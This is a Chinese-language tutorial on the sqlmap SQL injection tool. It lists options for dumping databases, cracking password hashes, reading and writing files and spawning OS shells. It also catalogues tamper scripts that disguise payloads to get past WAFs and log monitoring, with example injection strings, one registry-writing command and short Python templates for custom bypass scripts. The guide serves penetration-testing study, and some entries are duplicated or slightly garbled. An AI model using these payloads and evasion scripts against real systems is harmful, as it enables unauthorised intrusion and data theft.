sqlmap - 图1

SQLMAP 简介

sqlmap支持五种不同的注入模式:

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 联合查询注入,可以使用union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句的执行时的注入。

SQLMAP支持的数据库

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

参数

1. 指定目标

  1. -d DIRECT 直接连接到数据库。
  2. -u URL, url=URL 目标URL
  3. -l LIST BurpWebScarab代理的日志中解析目标。
  4. -r REQUESTFILE 从一个文件中载入HTTP请求。
  5. -g GOOGLEDORK 处理Google dork的结果作为目标URL
  6. -c CONFIGFILE INI配置文件中加载选项。

2. 请求

  1. --data # 将数据以 POST 方式提交
  2. --method # 强制使用提供的 HTTP 方法(例如:PUT)
  3. –-param-del # 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
  4. –-cookie # 设定 Cookie
  5. --host # 设定 host
  6. --ignore-code # 忽略(有问题的)HTTP 错误码
  7. --safe-freq=SAFE # 每访问两次给定的合法 URL 才发送一次测试请求
  8. --drop-set-cookie #忽略 HTTP 响应中的 Set-Cookie 参数
  9. –-referer # sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
  10. –-headers # 设置 HTTP 头,必须以换行符分隔
  11. –-auth-cert # 当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file;
  12. # key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件
  13. –-delay # HTTP 请求延迟,可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的
  14. –-timeout # 设定超时时间,可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒
  15. –-retries # 设定重试超时,当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次
  16. –-randomize # 设定随机改变的参数值,可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
  17. –-threads # 设置并发量
  18. –-keep-alive # 使用持久的HTTP(S)连接
  19. -o # 开启所有优化开关
  20. –-scope # 利用正则过滤目标网址
  21. --eval # 每次请求时候执行自定义的python代码
  22. --csrf-token --csrf-url # 绕过反 CSRF 防护
  23. –-null-connection # 从没有实际的HTTP响应体中检索页面长度
  24. –-skip-urlencode # 关掉URL参数值编码
  25. –-user-agent,–-random-agent # 设置 User-Agent
  26. –-auth-type,–-auth-cred # 这些参数可以用来登陆HTTP的认证保护支持三种方式: Basic/Digest/NTLM
  27. –-proxy,–-proxy-cred,–-ignore-proxy # 使用–proxy代理是格式为:http://url:port
  28. # 当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password
  29. # –ignore-proxy拒绝使用本地局域网的HTTP(S)代理
  30. –-safe-url,–-safe-freq # 避免过多的错误请求被屏蔽
  31. # 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
  32. # --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下
  33. # --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接

COOKIE :

参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:

  1. web应用需要登陆的时候。
  2. 你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

3. 注入

  1. -p # 设置测试参数
  2. --skip # 设置不测试的参数
  3. –-dbms # 指定数据库
  4. -os # 指定数据库服务器状态
  5. –-invalid-bignum # 指定无效的大数字
  6. –-invalid-logical # 指定无效的逻辑,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19
  7. –-prefix # 在注入的 payload 前面加一些字符
  8. –-suffix # 在注入的 payload 后面加一些字符
  9. –-tamper # 修改注入的数据,过 WAF 等设备

4. 探测

  1. –-level=LEVEL # 执行测试的等级(1-5,默认为1)
  2. –-risk=RISK # 执行测试的风险(0-3,默认为1)
  3. –-string=STRING # 查询时有效时在页面匹配字符串
  4. –-regexp=REGEXP # 查询时有效时在页面匹配正则表达式
  5. –-text-only # 仅基于在文本内容比较网页

5. 注入技术

  1. –-technique=TECH # SQL注入技术测试(默认BEUST)
  2. –-time-sec=TIMESEC # DBMS响应的延迟时间(默认为5秒)
  3. –-union-cols=UCOLS # 定列范围用于测试UNION查询注入
  4. –-union-char=UCHAR # 用于暴力猜解列数的字符
  5. –-second-order=URL # 二阶SQL注入

6. 列数据

  1. --b,–-banner # 标志
  2. --current-user # 用户
  3. –-current-db # 当前数据库
  4. –-is-dba # 当前用户是否为管理用
  5. –-users # 列出数据库管理用户
  6. –-passwords # 列出并破解数据库用户的hash
  7. –-privileges # 列出数据库管理员权限
  8. –-roles # 列出数据库管理员角色, 仅适用于当前数据库是Oracle的时候
  9. –-dbs # 列出数据库系统的数据库
  10. –-tables # 列举数据库表
  11. –-columns # 列举数据库表中的字段
  12. –-schema # 列举数据库系统的架构
  13. –-count # 获取表中数据个数
  14. –-dump # 获取整个表的数据
  15. –-dump-all # 获取所有数据库表的内容
  16. -D DBname # 要进行枚举的指定数据库名
  17. -T TBLname # 要进行枚举的指定数据库表
  18. -C COL # 要进行枚举的数据库列
  19. –-start=LIMITSTART # 第一个查询输出进入检索
  20. –-stop=LIMITSTOP # 最后查询的输出进入检索
  21. –-first=FIRSTCHAR # 第一个查询输出字的字符检索
  22. –-last=LASTCHAR # 最后查询的输出字字符检索
  23. –-exclude-sysdbs # 枚举表时排除系统数据库
  24. –-search # 搜索字段,表,数据库
  25. –-sql-query # 要执行的SQL语句
  26. –-sql-shell # 提示交互式SQL的shell

7. 爆破

  1. –-common-tables # 暴力破解表名
  2. –-common-columns # 暴力破解列名
  3. –-udf-inject # 用户自定义函数注入
  4. –-shared-lib=SHLIB # 共享库的本地路径

8. 文件&命令操作

  1. –-file-read=RFILE # 从数据库服务器中读取文件
  2. –-file-write=WFILE # 把文件上传到数据库服务器中
  3. –-file-dest=DFILE # 后端的数据库管理系统写入文件的绝对路径
  4. –-os-cmd=OSCMD # 执行操作系统命令
  5. –-os-shell # 交互式的操作系统的shell
  6. –-os-pwn # 获取一个OOB shell,meterpreter或VNC
  7. –-os-smbrelay # 一键获取一个OOB shell,meterpreter或VNC
  8. –-os-bof # 存储过程缓冲区溢出利用
  9. –-priv-esc # 数据库进程用户权限提升
  10. –-msf-path=MSFPATH # Metasploit Framework本地的安装路径
  11. –-tmp-path=TMPPATH # 远程临时文件目录的绝对路径

9. 对 Windows 注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

  1. –-reg-read # 读取注册表值
  2. –-reg-add # 写入注册表值
  3. –-reg-del # 删除注册表值
  4. –-reg-key=REGKEY # Windows注册表键
  5. –-reg-value=REGVAL # Windows注册表项值
  6. –-reg-data=REGDATA # Windows注册表键值数据
  7. –-reg-type=REGTYPE # Windows注册表项值类型
  8. python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

10. 常规参数

  1. -s # 从sqlite中读取session
  2. -t # 保存HTTP(S)日志
  3. –-batch # 非交互模式
  4. –-charset # 强制使用字符编码
  5. –-crawl # 爬行网站URL,sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度
  6. –-csv-del # 规定输出到CSV中的分隔符
  7. –-dbms-cred # DBMS身份验证
  8. –-dump-format # 定义dump数据的格式, CSV,HTML,SQLITE
  9. –-eta # 预估完成时间
  10. –-flush-session # 刷新session文件
  11. –-forms # 自动获取form表单测试
  12. –-fresh-queries # 忽略在会话文件中存储的查询结果
  13. –-hex # 使用DBMS的hex函数,有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
  14. –-output-dir # 自定义输出的路径
  15. –-parse-errors # 从响应中获取DBMS的错误信息

11. 其他参数

  1. -z # 使用参数缩写
  2. –-alert # 成功SQL注入时警告
  3. –-answers # 设定会发的答案
  4. –-beep # 发现SQL注入时发出蜂鸣声
  5. -v # 查看注入检测详情,见下注解
  6. –-check-waf # 启发式检测WAF/IPS/IDS保护
  7. –-cleanup # 清理sqlmap的UDF(s)和表
  8. –-desable-coloring # 禁用彩色输出
  9. –-gpage # 使用指定的Google结果页面,默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试
  10. --hpp # HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效
  11. –-identify-waf # 测试WAF/IPS/IDS保护
  12. –-mobile # 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆
  13. –-purge-output # 安全的删除output目录的文件
  14. –-smart # 启发式判断注入
  15. –-wizard # 初级用户向导参数
  16. –-update # 更新SqlMap
  1. -v 参数:
  2. 只显示python错误以及严重的信息
  3. 同时显示基本信息和警告信息。(默认)
  4. 同时显示debug信息
  5. 同时显示注入的payload
  6. 同时显示HTTP请求
  7. 同时显示HTTP响应头
  8. 同时显示HTTP响应页面

Tamper 脚本

tamper 脚本可以用来对 sqlmap 的 sql 查询语句进行一次处理,让其绕过过滤,tamper 脚本在 sqlmap 安装目录的 tamper 目录下

  1. use agesqlmap.py --tamper="模块名.py"

1. tamper 适用的数据库类型 & 版本

TAMPER MySQL MSSQL Oracle PostgreSQL
apostrophemask * * * *
apostrophenullencode - - - -
appendnullbyte * * * *
base64encode 4,5,5.5 2005 10g -
between 5.1 - - -
bluecoat * * * *
apostrophemask 9.0.3 20002005 - 9.3
charunicodeencode 4,5.0 and 5.5 2005 10g 8.3,8.4,9.0
charencode * - - -
commalessmid * - - -
concat2concatws * * * *
equaltolike * * * *
greatest < 5.1 - - -
halfversionedmorekeywords 5.0 and 5.5 - - -
ifnull2ifisnull * * * *
informationschemacomment 4,5.0,5.5 2005 10g 8.3,8.4,9.0
lowercase 5 - - -
modsecurityversioned 5 - - -
modsecurityzeroversioned * * * *
multiplespaces * * * *
nonrecursivereplacement * * * *
overlongutf8 5.1.56,5.5.11 2000, 2005 N/A 9
percentage 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
randomcase * * * *
randomcomments * * * *
securesphere 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2comment - - - -
space2dash 4.0,5.0 - - -
space2hash >= 5.1.13 - - -
space2morehash - 2000, 2005 - -
space2mssqlblank * * - -
space2mssqlhash * * * *
space2plus 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2randomblank - * - -
sp_password * * * *
symboliclogical * * * *
unionalltounion * * * *
unmagicquotes 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
uppercase * * * *
varnish * - - -
versionedkeywords >=5.1.13 - - -
versionedmorekeywords * * * *
xforwardedfor * * * *

2. 自带tamper介绍

  1. apostrophemask.py
  2. 功能:对引号进行 utf-8 格式编码 (% EF% BC%87)
  3. 平台:All
  4. 举例:1 AND 1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871
  5. apostrophenullencode.py
  6. 功能:用非法的双 unicode 字符 (%00%27) 替换引号字符
  7. 平台:All
  8. 举例:1 AND 1’=’1 ==> 1 AND %00%271%00%27=%00%271
  9. appendnullbyte.py
  10. 功能:在有效载荷结束位置加载零字节字符编码
  11. 平台:Microsoft Access
  12. 举例:1 AND 1=1 ==> 1 AND 1=1%00
  13. base64encode.py
  14. 功能:用 base64 格式进行编码
  15. 平台:All
  16. 举例:1 AND SLEEP (5)# ==> MScgQU5EIFNMRUVQKDUpIw==
  17. between.py
  18. 功能:用 between 替换大于号(>)
  19. 平台:Mssql2005MySQL 4/5.0/5.5Oracle 10gPostgreSQL 8.3/8.4/9.0
  20. 举例:
  21. 1 AND A > B –  ==> 1 AND A NOT BETWEEN 0 AND B  –
  22. 1 AND A = B –  ==> 1 AND A BETWEEN B AND B
  23. bluecoat.py
  24. 功能:对 SQL 语句替换空格字符为 (%09),并替换”=”—>”LIKE
  25. 平台:MySQL 5.1, SGOS
  26. 举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1
  27. apostrophemask.py
  28. 功能:用 utf-8 格式编码引号 (如:% EF% BC%87)
  29. 平台:All
  30. 举例:1 AND 1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871
  31. charunicodeencode.py
  32. 功能:对字符串进行 Unicode 格式转义编码
  33. 平台:Mssql 2000,2005MySQL 5.1.56PostgreSQL 9.0.3 ASP/ASP.NET
  34. 举例:SELECT FIELD%20FROM TABLE ==> % u0053% u0045% u004C% u0045% u0043% u0054% u0020% u0046% u0049% u0045% u004C% u0044% u0020% u0046% u0052% u004F% u004D% u0020% u0054% u0041% u0042% u004C% u0045
  35. charencode.py
  36. 功能:采用 url 格式编码 1
  37. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  38. 举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
  39. chardoubleencode.py
  40. 功能:采用 url 格式编码 2
  41. 平台:All
  42. 举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
  43. commalessmid.py
  44. 功能:将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是 3 个参数的情况
  45. 平台:MySQL 5.0, 5.5
  46. 举例:MID (VERSION (), 1, 1) ==> MID (VERSION () FROM 1 FOR 1)
  47. concat2concatws.py
  48. 功能:CONCAT () ==> CONCAT_WS (),用于过滤了 CONCAT () 函数的情况
  49. 平台: MySQL 5.0
  50. 举例:CONCAT (1,2) ==> CONCAT_WS (MID (CHAR (0),0,0),1,2)
  51. equaltolike.py
  52. 功能:= ==> LIKE,用于过滤了等号”=” 的情况
  53. 平台:Mssql 2005MySQL 4, 5.0 and 5.5
  54. 举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1
  55. greatest.py
  56. 功能:> ==> GREATEST
  57. 平台:MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  58. 举例:1 AND A > B ==> 1 AND GREATEST (A, B+1)=A
  59. a b+1 比较,取两者中的最大值为 a;则 a >= b+1,亦即 a > b
  60. halfversionedmorekeywords.py
  61. 功能:空格 ==> / !0 (在关键字前添加注释)
  62. 平台:MySQL 4.0.18, 5.0.22Mysql < 5.1
  63. 举例:union ==> /!0union
  64. ifnull2ifisnull.py
  65. 功能:IFNULL (A, B) ==> IF (ISNULL (A), B, A)
  66. 平台:MySQL 5.0 and 5.5
  67. 举例:IFNULL (1, 2) ==> IF (ISNULL (1),2,1)
  68. informationschemacomment.py
  69. 功能:
  70. information_schema 后面加上 // ,用于绕过对 information_schema 的情况
  71. retVal = re.sub(r”(?i)(information_schema).”, g<1>/ /.”, payload)
  72. 平台:All
  73. 举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables
  74. lowercase.py
  75. 功能:将 payload 里的大写转为小写
  76. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  77. 举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables
  78. modsecurityversioned.py
  79. 功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
  80. 平台:MySQL 5.0
  81. 举例:1 AND 2>1==> 1 /!30874AND 2>1/–
  82. modsecurityzeroversioned.py
  83. 功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
  84. 平台:Mysql
  85. 举例:1 and 2>1–+ ==> 1 /!00000and 2>1/–+
  86. multiplespaces.py
  87. 功能:围绕 SQL 关键字添加多个空格
  88. 平台:All
  89. 举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar
  90. nonrecursivereplacement.py
  91. 功能:关键字双写,可用于关键字过滤
  92. 平台:All
  93. 举例:1 UNION SELECT 2==> 1 UNIONUNION SELESELECTCT 2
  94. overlongutf8.py
  95. 功能: 转换给定的 payload 当中的所有字符
  96. 平台:All
  97. 举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT% C0% AAFIELD% C0% AAFROM% C0% AATABLE% C0% AAWHERE% C0% AA2% C0% BE1
  98. percentage.py
  99. 功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个 (%)
  100. 平台:Mssql 2000, 2005MySQL 5.1.56, 5.5.11PostgreSQL 9.0
  101. 举例:SELECT FIELD FROM TABLE ==> % S% E% L% E% C% T % F% I% E% L% D % F% R% O% M % T% A% B% L% E
  102. randomcase.py
  103. 功能:将 payload 随机大小写
  104. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  105. 举例:INSERT ==> InseRt
  106. randomcomments.py
  107. 功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
  108. 平台:Mysql
  109. 举例:INSERT ==> I / ** / N / ** / SERT
  110. securesphere.py
  111. 功能:在 payload 后追加特殊构造的字符串
  112. 平台:All
  113. 举例:1 AND 1=1 ==> 1 AND 1=1 and 0having’=’0having
  114. space2comment.py
  115. 功能:用注释符 // 代替空格,用于空格的绕过
  116. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  117. 举例:SELECT id FROM users ==> SELECT//id//FROM//users
  118. space2dash.py
  119. 功能:用 [注释符 (–)+ 一个随机字符串 + 一个换行符] 替换控制符
  120. 平台:MSSQL SQLite
  121. 举例:union select 1,2–+ ==> unionHSHjsJh%0AselectHhjHSJ%0A1,2–+
  122. space2hash.py
  123. 功能:用 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
  124. 平台:Mysql
  125. 举例:union select 1,2–+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2–+
  126. space2morehash.py
  127. 功能:用多个 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
  128. 平台:MySQL >= 5.1.13
  129. 举例:union select 1,2–+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2–+
  130. space2mssqlblank.py
  131. 功能:用随机的空白符替换 payload 中的空格
  132. blanks = (‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
  133. 平台:Mssql 2000,2005
  134. 举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users
  135. space2mssqlhash.py
  136. 功能:用 [字符# + 一个换行符] 替换 payload 中的空格
  137. 平台:MSSQLMySQL
  138. 举例:union select 1,2–+ ==> union%23%0Aselect%23%0A1,2–+
  139. space2plus.py
  140. 功能:用加号 (+) 替换空格
  141. 平台:All
  142. 举例:SELECT id FROM users ==> SELECT+id+FROM+users
  143. space2randomblank.py
  144. 功能:用随机的空白符替换 payload 中的空格
  145. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  146. 举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers
  147. sp_password.py
  148. 功能:在 payload 语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password
  149. 平台:Mssql
  150. 举例:1 AND 9227=9227==> 1 AND 9227=9227 – sp_password
  151. symboliclogical.py
  152. 功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
  153. 平台:All
  154. 举例:
  155. 1 and 1=1 ==> 1 %26%26 1=1
  156. 1 or 1=1 ==> 1 %7c%7c 1=1
  157. unionalltounion.py
  158. 功能:用 union select 替换 union all select
  159. 平台:All
  160. 举例:union all select 1,2–+ ==> union select 1,2–+
  161. unmagicquotes.py
  162. 功能:用宽字符绕过 GPC addslashes
  163. 平台:All
  164. 举例:1 and 1=1 ==> 1% df%27 and 1=1
  165. uppercase.py
  166. 功能:将 payload 中的小写字母转为大写格式
  167. 平台:Mssql 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
  168. 举例:insert ==> INSERT
  169. varnish.py
  170. 功能:添加一个 HTTP X-originating-IP 来绕过 WAF
  171. 平台:headers = kwargs.get (“headers”, {}) headers [“X-originating-IP”] = 127.0.0.1return payload
  172. 举例:All
  173. versionedkeywords.py
  174. 功能:对非函数的关键字进行注释
  175. 平台:MySQL 4.0.18, 5.1.56, 5.5.11
  176. 举例:1 union select user () ==> 1/!UNION//!SELECT/user ()
  177. versionedmorekeywords.py
  178. 功能:对每个关键字进行注释处理
  179. 平台:MySQL 5.1.56, 5.5.11
  180. 举例:1 union select user () ==> 1/!UNION//!SELECT/user ()
  181. xforwardedfor.py
  182. 功能:添加一个伪造的 HTTP X-Forwarded-For 来绕过 WAF
  183. 平台:All
  184. 举例:headers = kwargs.get (“headers”, {}) headers [“X-Forwarded-For”] = randomIP () return payload

3. 编写tamper

先来看一个简单的 tamper:apostrophemask.py

  1. # Needed imports
  2. from lib.core.enums import PRIORITY
  3. # Define which is the order of application of tamper scripts against
  4. # the payload
  5. __priority__ = PRIORITY.NORMAL
  6. def tamper(payload, **kwargs):
  7. '''
  8. Description of your tamper script
  9. '''
  10. retVal = payload.replace('\'', "%EF%BC%87") if payload else payload
  11. # your code to tamper the original payload
  12. # return the tampered payload
  13. return retVal

这个 tamper 非常的简单,写的话参考这个就可以了,先来分析这里边有什么元素

  • import部分
  • __priority__ 属性
  • dependencies函数
  • tamper函数以及用户自定义的函数

1. import 部分

可以导入sqlmap的内部库,sqlmap 为我们提供了很多封装好的函数和数据类型,比如上面的的PRIORITY就来源于sqlmap/lib/core/enums.py

2. priority

定义当前 tamper 的优先级,用于有多个tamper脚本的情况,有以下参数

  1. class PRIORITY:
  2. LOWEST = -100
  3. LOWER = -50
  4. LOW = -10
  5. NORMAL = 0
  6. HIGH = 10
  7. HIGHER = 50
  8. HIGHEST = 100

3. dependencies

函数声明该脚本适用/不适用的范围,可以为空,比如以下代码

  1. # sqlmap/tamper/echarunicodeencode.py
  2. from lib.core.common import singleTimeWarnMessage
  3. def dependencies():
  4. singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
  5. # singleTimeWarnMessage() 于在控制台中打印出警告信息

数据库有以下名称,在lib\core\enums.py可以看到全部

  1. class DBMS:
  2. ACCESS = "Microsoft Access"
  3. DB2 = "IBM DB2"
  4. FIREBIRD = "Firebird"
  5. MAXDB = "SAP MaxDB"
  6. MSSQL = "Microsoft SQL Server"
  7. MYSQL = "MySQL"
  8. ORACLE = "Oracle"
  9. PGSQL = "PostgreSQL"
  10. SQLITE = "SQLite"
  11. SYBASE = "Sybase"
  12. HSQLDB = "HSQLDB"
  13. ......

4. tamper函数

主要功能实现的函数,其中 payload 参数就是原始的 sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个 payload 的修改

比如双写绕过的 payload

  1. def tamper(payload, **kwargs):
  2. payload = payload.lower()
  3. payload = payload.replace('select','seleselectct')
  4. payload = payload.replace('union','ununionion')
  5. return payload

第二个参数:**kwargs中包含了 http 头的数据,可以从kwargs中取出headers数组在进行更改

比如将 http 头中的 xff 头变为随机 ip

  1. def tamper(payload, **kwargs):
  2. headers = kwargs.get("headers", {})
  3. headers["X-Forwarded-For"] = randomIP()
  4. return payload